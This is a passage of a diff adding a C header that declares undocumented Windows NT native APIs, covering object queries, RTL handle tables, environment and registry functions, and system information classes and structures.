(STANDARD_RIGHTS_REQUIRED | 0xF) +#endif + +typedef enum _POOL_TYPE { + NonPagedPool, + PagedPool, + NonPagedPoolMustSucceed, + DontUseThisType, + NonPagedPoolCacheAligned, + PagedPoolCacheAligned, + NonPagedPoolCacheAlignedMustS, + MaxPoolType +} POOL_TYPE; + + +// +// For NtQueryObject +// + +typedef enum _OBJECT_INFORMATION_CLASS { + ObjectBasicInformation, // = 0 + ObjectNameInformation, // = 1 + ObjectTypeInformation, // = 2 + ObjectTypesInformation, // = 3 //object handle is ignored + ObjectHandleFlagInformation // = 4 +} OBJECT_INFORMATION_CLASS; + +// +// NtQueryObject uses ObjectBasicInformation +// + +typedef struct _OBJECT_BASIC_INFORMATION { + ULONG Attributes; + ACCESS_MASK GrantedAccess; + ULONG HandleCount; + ULONG PointerCount; + ULONG PagedPoolCharge; + ULONG NonPagedPoolCharge; + ULONG Reserved[3]; + ULONG NameInfoSize; + ULONG TypeInfoSize; + ULONG SecurityDescriptorSize; + LARGE_INTEGER CreationTime; +} OBJECT_BASIC_INFORMATION, *POBJECT_BASIC_INFORMATION; + +// +// NtQueryObject uses ObjectNameInformation +// + +typedef struct _OBJECT_NAME_INFORMATION { + UNICODE_STRING Name; +} OBJECT_NAME_INFORMATION, *POBJECT_NAME_INFORMATION; + +// +// NtQueryObject uses ObjectTypeInformation +// + +typedef struct _OBJECT_TYPE_INFORMATION { + UNICODE_STRING TypeName; + ULONG TotalNumberOfObjects; + ULONG TotalNumberOfHandles; + ULONG TotalPagedPoolUsage; + ULONG TotalNonPagedPoolUsage; + ULONG TotalNamePoolUsage; + ULONG TotalHandleTableUsage; + ULONG HighWaterNumberOfObjects; + ULONG HighWaterNumberOfHandles; + ULONG HighWaterPagedPoolUsage; + ULONG HighWaterNonPagedPoolUsage; + ULONG HighWaterNamePoolUsage; + ULONG HighWaterHandleTableUsage; + ULONG InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ULONG ValidAccessMask; + BOOLEAN SecurityRequired; + BOOLEAN MaintainHandleCount; + POOL_TYPE PoolType; + ULONG DefaultPagedPoolCharge; + ULONG DefaultNonPagedPoolCharge; +} OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION; + +// +// NtQueryObject uses ObjectHandleFlagInformation +// NtSetInformationObject uses ObjectHandleFlagInformation +// + +typedef struct _OBJECT_HANDLE_FLAG_INFORMATION { + BOOLEAN Inherit; + BOOLEAN ProtectFromClose; +} OBJECT_HANDLE_FLAG_INFORMATION, *POBJECT_HANDLE_FLAG_INFORMATION; + +// +// NtQueryDirectoryObject uses this type +// + +typedef struct _OBJECT_DIRECTORY_INFORMATION { + UNICODE_STRING Name; + UNICODE_STRING TypeName; +} OBJECT_DIRECTORY_INFORMATION, *POBJECT_DIRECTORY_INFORMATION; + + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenDirectoryObject( + OUT PHANDLE DirectoryHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryDirectoryObject( + IN HANDLE DirectoryHandle, + OUT PVOID Buffer, + IN ULONG Length, + IN BOOLEAN ReturnSingleEntry, + IN BOOLEAN RestartScan, + IN OUT PULONG Context, + OUT PULONG ReturnLength OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryObject ( + IN HANDLE ObjectHandle, + IN OBJECT_INFORMATION_CLASS ObjectInformationClass, + OUT PVOID ObjectInformation, + IN ULONG Length, + OUT PULONG ResultLength OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtSetInformationObject ( + IN HANDLE ObjectHandle, + IN OBJECT_INFORMATION_CLASS ObjectInformationClass, + IN PVOID ObjectInformation, + IN ULONG Length + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtDuplicateObject ( + IN HANDLE SourceProcessHandle, + IN HANDLE SourceHandle, + IN HANDLE TargetProcessHandle OPTIONAL, + OUT PHANDLE TargetHandle OPTIONAL, + IN ACCESS_MASK DesiredAccess, + IN ULONG HandleAttributes, + IN ULONG Options + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtQuerySecurityObject ( + IN HANDLE ObjectHandle, + IN SECURITY_INFORMATION SecurityInformation, + OUT PSECURITY_DESCRIPTOR SecurityDescriptor, + IN ULONG DescriptorLength, + OUT PULONG ReturnLength + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtSetSecurityObject ( + IN HANDLE ObjectHandle, + IN SECURITY_INFORMATION SecurityInformation, + IN PSECURITY_DESCRIPTOR SecurityDescriptor + ); + + +//----------------------------------------------------------------------------- +// Handle table RTL functions + +#define LEVEL_HANDLE_ID 0x74000000 +#define LEVEL_HANDLE_ID_MASK 0xFF000000 +#define LEVEL_HANDLE_INDEX_MASK 0x00FFFFFF + +typedef enum _RTL_GENERIC_COMPARE_RESULTS { + GenericLessThan, + GenericGreaterThan, + GenericEqual +} RTL_GENERIC_COMPARE_RESULTS; + + +typedef struct _RTL_SPLAY_LINKS +{ + struct _RTL_SPLAY_LINKS *Parent; + struct _RTL_SPLAY_LINKS *LeftChild; + struct _RTL_SPLAY_LINKS *RightChild; +} RTL_SPLAY_LINKS, *PRTL_SPLAY_LINKS; + + +struct _RTL_GENERIC_TABLE; + +typedef +RTL_GENERIC_COMPARE_RESULTS +(NTAPI * PRTL_GENERIC_COMPARE_ROUTINE) ( + struct _RTL_GENERIC_TABLE *Table, + PVOID FirstStruct, + PVOID SecondStruct + ); + +typedef +PVOID +(NTAPI *PRTL_GENERIC_ALLOCATE_ROUTINE) ( + struct _RTL_GENERIC_TABLE *Table, + ULONG ByteSize + ); + +typedef +VOID +(NTAPI *PRTL_GENERIC_FREE_ROUTINE) ( + struct _RTL_GENERIC_TABLE *Table, + PVOID Buffer + ); + + +typedef struct _RTL_GENERIC_TABLE { + PRTL_SPLAY_LINKS TableRoot; + LIST_ENTRY InsertOrderList; + PLIST_ENTRY OrderedPointer; + ULONG WhichOrderedElement; + ULONG NumberGenericTableElements; + PRTL_GENERIC_COMPARE_ROUTINE CompareRoutine; + PRTL_GENERIC_ALLOCATE_ROUTINE AllocateRoutine; + PRTL_GENERIC_FREE_ROUTINE FreeRoutine; + PVOID TableContext; +} RTL_GENERIC_TABLE, *PRTL_GENERIC_TABLE; + + +typedef struct _RTL_HANDLE_TABLE_ENTRY +{ + struct _RTL_HANDLE_TABLE_ENTRY *Next; /* pointer to next free handle */ + PVOID Object; + +} RTL_HANDLE_TABLE_ENTRY, *PRTL_HANDLE_TABLE_ENTRY; + + +typedef struct _RTL_HANDLE_TABLE +{ + ULONG MaximumNumberOfHandles; + ULONG SizeOfHandleTableEntry; + ULONG Unknown01; + ULONG Unknown02; + PRTL_HANDLE_TABLE_ENTRY FreeHandles; + PRTL_HANDLE_TABLE_ENTRY CommittedHandles; + PRTL_HANDLE_TABLE_ENTRY UnCommittedHandles; + PRTL_HANDLE_TABLE_ENTRY MaxReservedHandles; +} RTL_HANDLE_TABLE, *PRTL_HANDLE_TABLE; + + +NTSYSAPI +VOID +NTAPI +RtlInitializeGenericTable ( + IN PRTL_GENERIC_TABLE Table, + IN PRTL_GENERIC_COMPARE_ROUTINE CompareRoutine, + IN PRTL_GENERIC_ALLOCATE_ROUTINE AllocateRoutine, + IN PRTL_GENERIC_FREE_ROUTINE FreeRoutine, + IN PVOID TableContext + ); + + +NTSYSAPI +VOID +NTAPI +RtlInitializeHandleTable( + IN ULONG MaximumNumberOfHandles, + IN ULONG SizeOfHandleTableEntry, + OUT PRTL_HANDLE_TABLE HandleTable + ); + + +NTSYSAPI +PRTL_HANDLE_TABLE_ENTRY +NTAPI +RtlAllocateHandle( + IN PRTL_HANDLE_TABLE HandleTable, + OUT PULONG HandleIndex OPTIONAL + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlFreeHandle( + IN PRTL_HANDLE_TABLE HandleTable, + IN PRTL_HANDLE_TABLE_ENTRY Handle + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlIsValidIndexHandle( + IN PRTL_HANDLE_TABLE HandleTable, + IN ULONG HandleIndex, + OUT PRTL_HANDLE_TABLE_ENTRY *Handle + ); + + +NTSYSAPI +PVOID +NTAPI +RtlInsertElementGenericTable ( + IN PRTL_GENERIC_TABLE Table, + IN PVOID Buffer, + IN LONG BufferSize, + OUT PBOOLEAN NewElement OPTIONAL + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlIsGenericTableEmpty ( + IN PRTL_GENERIC_TABLE Table + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlIsGenericTableEmpty ( + IN PRTL_GENERIC_TABLE Table + ); + + +NTSYSAPI +PVOID +NTAPI +RtlLookupElementGenericTable ( + IN PRTL_GENERIC_TABLE Table, + IN PVOID Buffer + ); + + +NTSYSAPI +PVOID +NTAPI +RtlEnumerateGenericTableWithoutSplaying( + IN PRTL_GENERIC_TABLE Table, + IN PVOID *RestartKey + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtClose( + IN HANDLE Handle + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwClose( + IN HANDLE Handle + ); + +//----------------------------------------------------------------------------- +// Environment functions + +NTSYSAPI +NTSTATUS +NTAPI +RtlOpenCurrentUser( + IN ULONG DesiredAccess, + OUT PHANDLE CurrentUserKey + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateEnvironment( + BOOLEAN CloneCurrentEnvironment, + PVOID *Environment + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryEnvironmentVariable_U ( + PVOID Environment, + PUNICODE_STRING Name, + PUNICODE_STRING Value + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetEnvironmentVariable( + PVOID *Environment, + PUNICODE_STRING Name, + PUNICODE_STRING Value + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlDestroyEnvironment( + PVOID Environment + ); + +//----------------------------------------------------------------------------- +// Registry functions + + +typedef enum _KEY_INFORMATION_CLASS +{ + KeyBasicInformation, + KeyNodeInformation, + KeyFullInformation, + KeyNameInformation, + KeyCachedInformation, + KeyFlagsInformation, + MaxKeyInfoClass // MaxKeyInfoClass should always be the last enum + +} KEY_INFORMATION_CLASS; + +// +// Key query structures +// + +typedef struct _KEY_BASIC_INFORMATION +{ + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG NameLength; + WCHAR Name[1]; // Variable length string + +} KEY_BASIC_INFORMATION, *PKEY_BASIC_INFORMATION; + + +typedef struct _KEY_NODE_INFORMATION +{ + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG ClassOffset; + ULONG ClassLength; + ULONG NameLength; + WCHAR Name[1]; // Variable length string +// Class[1]; // Variable length string not declared +} KEY_NODE_INFORMATION, *PKEY_NODE_INFORMATION; + + +typedef struct _KEY_FULL_INFORMATION +{ + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG ClassOffset; + ULONG ClassLength; + ULONG SubKeys; + ULONG MaxNameLen; + ULONG MaxClassLen; + ULONG Values; + ULONG MaxValueNameLen; + ULONG MaxValueDataLen; + WCHAR Class[1]; // Variable length + +} KEY_FULL_INFORMATION, *PKEY_FULL_INFORMATION; + + +// end_wdm +typedef struct _KEY_NAME_INFORMATION +{ + ULONG NameLength; + WCHAR Name[1]; // Variable length string + +} KEY_NAME_INFORMATION, *PKEY_NAME_INFORMATION; + +typedef struct _KEY_CACHED_INFORMATION +{ + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG SubKeys; + ULONG MaxNameLen; + ULONG Values; + ULONG MaxValueNameLen; + ULONG MaxValueDataLen; + ULONG NameLength; + WCHAR Name[1]; // Variable length string + +} KEY_CACHED_INFORMATION, *PKEY_CACHED_INFORMATION; + + +typedef struct _KEY_FLAGS_INFORMATION +{ + ULONG UserFlags; + +} KEY_FLAGS_INFORMATION, *PKEY_FLAGS_INFORMATION; + + + +typedef enum _KEY_VALUE_INFORMATION_CLASS { + KeyValueBasicInformation, + KeyValueFullInformation, + KeyValuePartialInformation, + KeyValueFullInformationAlign64, + KeyValuePartialInformationAlign64, + MaxKeyValueInfoClass // MaxKeyValueInfoClass should always be the last enum +} KEY_VALUE_INFORMATION_CLASS; + + +typedef struct _KEY_VALUE_FULL_INFORMATION { + ULONG TitleIndex; + ULONG Type; + ULONG DataOffset; + ULONG DataLength; + ULONG NameLength; + WCHAR Name[1]; // Variable size +// Data[1]; // Variable size data not declared +} KEY_VALUE_FULL_INFORMATION, *PKEY_VALUE_FULL_INFORMATION; + + +typedef struct _KEY_VALUE_PARTIAL_INFORMATION { + ULONG TitleIndex; + ULONG Type; + ULONG DataLength; + UCHAR Data[1]; // Variable size +} KEY_VALUE_PARTIAL_INFORMATION, *PKEY_VALUE_PARTIAL_INFORMATION; + + + +NTSYSAPI +NTSTATUS +NTAPI +NtCreateKey( + OUT PHANDLE KeyHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN ULONG TitleIndex, + IN PUNICODE_STRING Class OPTIONAL, + IN ULONG CreateOptions, + OUT PULONG Disposition OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenKey( + OUT PHANDLE KeyHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryKey( + IN HANDLE KeyHandle, + IN KEY_INFORMATION_CLASS KeyInformationClass, + OUT PVOID KeyInformation, + IN ULONG Length, + OUT PULONG ResultLength + ); + +NTSYSAPI +NTSTATUS +NTAPI +NtEnumerateKey( + IN HANDLE KeyHandle, + IN ULONG Index, + IN KEY_INFORMATION_CLASS KeyInformationClass, + IN PVOID KeyInformation, + IN ULONG Length, + IN PULONG ResultLength + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtDeleteKey( + IN HANDLE KeyHandle + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryValueKey( + IN HANDLE KeyHandle, + IN PUNICODE_STRING ValueName, + IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, + OUT PVOID KeyValueInformation, + IN ULONG Length, + OUT PULONG ResultLength + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtSetValueKey( + IN HANDLE KeyHandle, + IN PUNICODE_STRING ValueName, + IN ULONG TitleIndex OPTIONAL, + IN ULONG Type, + IN PVOID Data, + IN ULONG DataSize + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtDeleteValueKey( + IN HANDLE KeyHandle, + IN PUNICODE_STRING ValueName + ); + +//----------------------------------------------------------------------------- +// RtlQueryRegistryValues + +// +// The following flags specify how the Name field of a RTL_QUERY_REGISTRY_TABLE +// entry is interpreted. A NULL name indicates the end of the table. +// + +#define RTL_QUERY_REGISTRY_SUBKEY 0x00000001 // Name is a subkey and remainder of + // table or until next subkey are value + // names for that subkey to look at. + +#define RTL_QUERY_REGISTRY_TOPKEY 0x00000002 // Reset current key to original key for + // this and all following table entries. + +#define RTL_QUERY_REGISTRY_REQUIRED 0x00000004 // Fail if no match found for this table + // entry. + +#define RTL_QUERY_REGISTRY_NOVALUE 0x00000008 // Used to mark a table entry that has no + // value name, just wants a call out, not + // an enumeration of all values. + +#define RTL_QUERY_REGISTRY_NOEXPAND 0x00000010 // Used to suppress the expansion of + // REG_MULTI_SZ into multiple callouts or + // to prevent the expansion of environment + // variable values in REG_EXPAND_SZ + +#define RTL_QUERY_REGISTRY_DIRECT 0x00000020 // QueryRoutine field ignored. EntryContext + // field points to location to store value. + // For null terminated strings, EntryContext + // points to UNICODE_STRING structure that + // that describes maximum size of buffer. + // If .Buffer field is NULL then a buffer is + // allocated. + // + +#define RTL_QUERY_REGISTRY_DELETE 0x00000040 // Used to delete value keys after they + // are queried. + + +// +// The following values for the RelativeTo parameter determine what the +// Path parameter to RtlQueryRegistryValues is relative to. +// + +#define RTL_REGISTRY_ABSOLUTE 0 // Path is a full path +#define RTL_REGISTRY_SERVICES 1 // \Registry\Machine\System\CurrentControlSet\Services +#define RTL_REGISTRY_CONTROL 2 // \Registry\Machine\System\CurrentControlSet\Control +#define RTL_REGISTRY_WINDOWS_NT 3 // \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion +#define RTL_REGISTRY_DEVICEMAP 4 // \Registry\Machine\Hardware\DeviceMap +#define RTL_REGISTRY_USER 5 // \Registry\User\CurrentUser +#define RTL_REGISTRY_MAXIMUM 6 +#define RTL_REGISTRY_HANDLE 0x40000000 // Low order bits are registry handle +#define RTL_REGISTRY_OPTIONAL 0x80000000 // Indicates the key node is optional + + +typedef NTSTATUS (NTAPI * PRTL_QUERY_REGISTRY_ROUTINE)( + IN PWSTR ValueName, + IN ULONG ValueType, + IN PVOID ValueData, + IN ULONG ValueLength, + IN PVOID Context, + IN PVOID EntryContext + ); + +typedef struct _RTL_QUERY_REGISTRY_TABLE +{ + PRTL_QUERY_REGISTRY_ROUTINE QueryRoutine; + ULONG Flags; + PWSTR Name; + PVOID EntryContext; + ULONG DefaultType; + PVOID DefaultData; + ULONG DefaultLength; + +} RTL_QUERY_REGISTRY_TABLE, *PRTL_QUERY_REGISTRY_TABLE; + + +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryRegistryValues( + IN ULONG RelativeTo, + IN PCWSTR Path, + IN PRTL_QUERY_REGISTRY_TABLE QueryTable, + IN PVOID Context, + IN PVOID Environment OPTIONAL + ); + + +//----------------------------------------------------------------------------- +// Query system information + +typedef enum _SYSTEM_INFORMATION_CLASS +{ + SystemBasicInformation, // 0x00 SYSTEM_BASIC_INFORMATION + SystemProcessorInformation, // 0x01 SYSTEM_PROCESSOR_INFORMATION + SystemPerformanceInformation, // 0x02 + SystemTimeOfDayInformation, // 0x03 + SystemPathInformation, // 0x04 + SystemProcessInformation, // 0x05 + SystemCallCountInformation, // 0x06 + SystemDeviceInformation, // 0x07 + SystemProcessorPerformanceInformation, // 0x08 + SystemFlagsInformation, // 0x09 + SystemCallTimeInformation, // 0x0A + SystemModuleInformation, // 0x0B SYSTEM_MODULE_INFORMATION + SystemLocksInformation, // 0x0C + SystemStackTraceInformation, // 0x0D + SystemPagedPoolInformation, // 0x0E + SystemNonPagedPoolInformation, // 0x0F + SystemHandleInformation, // 0x10 + SystemObjectInformation, // 0x11 + SystemPageFileInformation, // 0x12 + SystemVdmInstemulInformation, // 0x13 + SystemVdmBopInformation, // 0x14 + SystemFileCacheInformation, // 0x15 + SystemPoolTagInformation, // 0x16 + SystemInterruptInformation, // 0x17 + SystemDpcBehaviorInformation, // 0x18 + SystemFullMemoryInformation, // 0x19 + SystemLoadGdiDriverInformation, // 0x1A + SystemUnloadGdiDriverInformation, // 0x1B + SystemTimeAdjustmentInformation, // 0x1C + SystemSummaryMemoryInformation, // 0x1D + SystemNextEventIdInformation, // 0x1E + SystemEventIdsInformation, // 0x1F + SystemCrashDumpInformation, // 0x20 + SystemExceptionInformation, // 0x21 + SystemCrashDumpStateInformation, // 0x22 + SystemKernelDebuggerInformation, // 0x23 + SystemContextSwitchInformation, // 0x24 + SystemRegistryQuotaInformation, // 0x25 + SystemExtendServiceTableInformation, // 0x26 + SystemPrioritySeperation, // 0x27 + SystemPlugPlayBusInformation, // 0x28 + SystemDockInformation, // 0x29 + //SystemPowerInformation, // 0x2A + //SystemProcessorSpeedInformation, // 0x2B + //SystemCurrentTimeZoneInformation, // 0x2C + //SystemLookasideInformation // 0x2D + +} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS; + +// +// Thread priority +// + +typedef LONG KPRIORITY; + +// +// Basic System information +// NtQuerySystemInformation with SystemBasicInformation +// + +typedef struct _SYSTEM_BASIC_INFORMATION { + ULONG Reserved; + ULONG TimerResolution; + ULONG PageSize; + ULONG NumberOfPhysicalPages; + ULONG LowestPhysicalPageNumber; + ULONG HighestPhysicalPageNumber; + ULONG AllocationGranularity; + ULONG MinimumUserModeAddress; + ULONG MaximumUserModeAddress; + KAFFINITY ActiveProcessorsAffinityMask; + CCHAR NumberOfProcessors; +} SYSTEM_BASIC_INFORMATION, *PSYSTEM_BASIC_INFORMATION; + +// +// Processor information +// NtQuerySystemInformation with SystemProcessorInformation +// + +typedef struct _SYSTEM_PROCESSOR_INFORMATION { + USHORT ProcessorArchitecture; + USHORT ProcessorLevel; + USHORT ProcessorRevision; + USHORT Reserved; + ULONG ProcessorFeatureBits; +} SYSTEM_PROCESSOR_INFORMATION, *PSYSTEM_PROCESSOR_INFORMATION; + +// +// Performance information +// NtQuerySystemInformation with SystemPerformanceInformation +// + +typedef struct _SYSTEM_PERFORMANCE_INFORMATION { + LARGE_INTEGER IdleProcessTime; + LARGE_INTEGER IoReadTransferCount; + LARGE_INTEGER IoWriteTransferCount; + LARGE_INTEGER IoOtherTransferCount; + ULONG IoReadOperationCount; + ULONG IoWriteOperationCount; + ULONG IoOtherOperationCount; + ULONG AvailablePages; + ULONG CommittedPages; + ULONG CommitLimit; + ULONG PeakCommitment; + ULONG PageFaultCount; + ULONG CopyOnWriteCount; + ULONG TransitionCount; + ULONG CacheTransitionCount; + ULONG DemandZeroCount; + ULONG PageReadCount; + ULONG PageReadIoCount; + ULONG CacheReadCount; + ULONG CacheIoCount; + ULONG DirtyPagesWriteCount; + ULONG DirtyWriteIoCount; + ULONG MappedPagesWriteCount; + ULONG MappedWriteIoCount; + ULONG PagedPoolPages; + ULONG NonPagedPoolPages; + ULONG PagedPoolAllocs; + ULONG PagedPoolFrees; + ULONG NonPagedPoolAllocs; + ULONG NonPagedPoolFrees; + ULONG FreeSystemPtes; + ULONG ResidentSystemCodePage; + ULONG TotalSystemDriverPages; + ULONG TotalSystemCodePages; + ULONG NonPagedPoolLookasideHits; + ULONG PagedPoolLookasideHits; + ULONG Spare3Count; + ULONG ResidentSystemCachePage; + ULONG ResidentPagedPoolPage; + ULONG ResidentSystemDriverPage; + ULONG CcFastReadNoWait; + ULONG CcFastReadWait; + ULONG CcFastReadResourceMiss; + ULONG CcFastReadNotPossible; + ULONG CcFastMdlReadNoWait; + ULONG CcFastMdlReadWait; + ULONG CcFastMdlReadResourceMiss; + ULONG CcFastMdlReadNotPossible; + ULONG CcMapDataNoWait; + ULONG CcMapDataWait; + ULONG CcMapDataNoWaitMiss; + ULONG CcMapDataWaitMiss; + ULONG CcPinMappedDataCount; + ULONG CcPinReadNoWait; + ULONG CcPinReadWait; + ULONG CcPinReadNoWaitMiss; + ULONG CcPinReadWaitMiss; + ULONG CcCopyReadNoWait; + ULONG CcCopyReadWait; + ULONG CcCopyReadNoWaitMiss; + ULONG CcCopyReadWaitMiss; + ULONG CcMdlReadNoWait; + ULONG CcMdlReadWait; + ULONG CcMdlReadNoWaitMiss; + ULONG CcMdlReadWaitMiss; + ULONG CcReadAheadIos; + ULONG CcLazyWriteIos; + ULONG CcLazyWritePages; + ULONG CcDataFlushes; + ULONG CcDataPages; + ULONG ContextSwitches; + ULONG FirstLevelTbFills; + ULONG SecondLevelTbFills; + ULONG SystemCalls; +} SYSTEM_PERFORMANCE_INFORMATION, *PSYSTEM_PERFORMANCE_INFORMATION; + +// +// Time of Day information +// NtQuerySystemInformation with SystemTimeOfDayInformation +// + +typedef struct _SYSTEM_TIMEOFDAY_INFORMATION { + LARGE_INTEGER BootTime; + LARGE_INTEGER CurrentTime; + LARGE_INTEGER TimeZoneBias; + ULONG TimeZoneId; + ULONG Reserved; +} SYSTEM_TIMEOFDAY_INFORMATION, *PSYSTEM_TIMEOFDAY_INFORMATION; + +// +// Process information +// NtQuerySystemInformation with SystemProcessInformation +// + +typedef struct _SYSTEM_PROCESS_INFORMATION { + ULONG NextEntryOffset; + ULONG NumberOfThreads; + LARGE_INTEGER SpareLi1; + LARGE_INTEGER SpareLi2; + LARGE_INTEGER SpareLi3; + LARGE_INTEGER CreateTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER KernelTime; + UNICODE_STRING ImageName; + KPRIORITY BasePriority; + ULONG_PTR UniqueProcessId; + ULONG_PTR InheritedFromUniqueProcessId; + ULONG HandleCount; + // Next part is platform dependent + +} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION; + +// +// Device information +// NtQuerySystemInformation with SystemDeviceInformation +// + +typedef struct _SYSTEM_DEVICE_INFORMATION { + ULONG NumberOfDisks; + ULONG NumberOfFloppies; + ULONG NumberOfCdRoms; + ULONG NumberOfTapes; + ULONG NumberOfSerialPorts; + ULONG NumberOfParallelPorts; +} SYSTEM_DEVICE_INFORMATION, *PSYSTEM_DEVICE_INFORMATION; + +// +// Processor performance information +// NtQuerySystemInformation with SystemProcessorPerformanceInformation +// + +typedef struct _SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION { + LARGE_INTEGER IdleTime; + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER DpcTime; // DEVL only + LARGE_INTEGER InterruptTime; // DEVL only + ULONG InterruptCount; +} SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION, *PSYSTEM_PROCESSOR_PERFORMANCE_INFORMATION; + +// +// NT Global Flag information +// NtQuerySystemInformation with SystemFlagsInformation +// + +typedef struct _SYSTEM_FLAGS_INFORMATION +{ + ULONG GlobalFlag; + +} SYSTEM_FLAGS_INFORMATION, *PSYSTEM_FLAGS_INFORMATION; + +// +// System Module information +// NtQuerySystemInformation with SystemModuleInformation +// + +typedef struct _SYSTEM_MODULE +{ + ULONG Reserved1; // Should be 0xBAADF00D + ULONG Reserved2; // Should be zero + PVOID Base; + ULONG Size; + ULONG Flags; + USHORT Index; + USHORT Unknown; + USHORT LoadCount; + USHORT ModuleNameOffset; + CHAR ImageName[256]; + +} SYSTEM_MODULE, *PSYSTEM_MODULE; + + +typedef struct _SYSTEM_MODULE_INFORMATION +{ + ULONG ModulesCount; + SYSTEM_MODULE Modules[1]; + +} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; + +/* +typedef struct _SYSTEM_VDM_INSTEMUL_INFO { + ULONG SegmentNotPresent ; + ULONG VdmOpcode0F ; + ULONG OpcodeESPrefix ; + ULONG OpcodeCSPrefix ; + ULONG OpcodeSSPrefix ; + ULONG OpcodeDSPrefix ; + ULONG OpcodeFSPrefix ; + ULONG OpcodeGSPrefix ; + ULONG OpcodeOPER32Prefix; + ULONG OpcodeADDR32Prefix; + ULONG OpcodeINSB ; + ULONG OpcodeINSW ; + ULONG OpcodeOUTSB ; + ULONG OpcodeOUTSW ; + ULONG OpcodePUSHF ; + ULONG OpcodePOPF ; + ULONG OpcodeINTnn ; + ULONG OpcodeINTO ; + ULONG OpcodeIRET ; + ULONG OpcodeINBimm ; + ULONG OpcodeINWimm ; + ULONG OpcodeOUTBimm ; + ULONG OpcodeOUTWimm ; + ULONG OpcodeINB ; + ULONG OpcodeINW ; + ULONG OpcodeOUTB ; + ULONG OpcodeOUTW ; + ULONG OpcodeLOCKPrefix ; + ULONG OpcodeREPNEPrefix ; + ULONG OpcodeREPPrefix ; + ULONG OpcodeHLT ; + ULONG OpcodeCLI ; + ULONG OpcodeSTI ; + ULONG BopCount ; +} SYSTEM_VDM_INSTEMUL_INFO, *PSYSTEM_VDM_INSTEMUL_INFO; + + +typedef struct _SYSTEM_QUERY_TIME_ADJUST_INFORMATION { + ULONG TimeAdjustment; + ULONG TimeIncrement; + BOOLEAN Enable; +} SYSTEM_QUERY_TIME_ADJUST_INFORMATION, *PSYSTEM_QUERY_TIME_ADJUST_INFORMATION; + +typedef struct _SYSTEM_SET_TIME_ADJUST_INFORMATION { + ULONG TimeAdjustment; + BOOLEAN Enable; +} SYSTEM_SET_TIME_ADJUST_INFORMATION, *PSYSTEM_SET_TIME_ADJUST_INFORMATION; + + +typedef struct _SYSTEM_THREAD_INFORMATION { + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER CreateTime; + ULONG WaitTime; + PVOID StartAddress; + CLIENT_ID ClientId; + KPRIORITY Priority; + LONG BasePriority; + ULONG ContextSwitches; + ULONG ThreadState; + ULONG WaitReason; +} SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION; + +typedef struct _SYSTEM_MEMORY_INFO { + PUCHAR StringOffset; + USHORT ValidCount; + USHORT TransitionCount; + USHORT ModifiedCount; + USHORT PageTableCount; +} SYSTEM_MEMORY_INFO, *PSYSTEM_MEMORY_INFO; + +typedef struct _SYSTEM_MEMORY_INFORMATION { + ULONG InfoSize; + ULONG StringStart; + SYSTEM_MEMORY_INFO Memory[1]; +} SYSTEM_MEMORY_INFORMATION, *PSYSTEM_MEMORY_INFORMATION; + +typedef struct _SYSTEM_CALL_COUNT_INFORMATION { + ULONG Length; + ULONG NumberOfTables; + //ULONG NumberOfEntries[NumberOfTables]; + //ULONG CallCounts[NumberOfTables][NumberOfEntries]; +} SYSTEM_CALL_COUNT_INFORMATION, *PSYSTEM_CALL_COUNT_INFORMATION; + +typedef struct _SYSTEM_CRASH_DUMP_INFORMATION { + HANDLE CrashDumpSection; +} SYSTEM_CRASH_DUMP_INFORMATION, *PSYSTEM_CRASH_DUMP_INFORMATION; + +typedef struct _SYSTEM_EXCEPTION_INFORMATION { + ULONG AlignmentFixupCount; + ULONG ExceptionDispatchCount; + ULONG FloatingEmulationCount; + ULONG ByteWordEmulationCount; +} SYSTEM_EXCEPTION_INFORMATION, *PSYSTEM_EXCEPTION_INFORMATION; + +typedef struct _SYSTEM_CRASH_STATE_INFORMATION { + ULONG ValidCrashDump; +} SYSTEM_CRASH_STATE_INFORMATION, *PSYSTEM_CRASH_STATE_INFORMATION; + +typedef struct 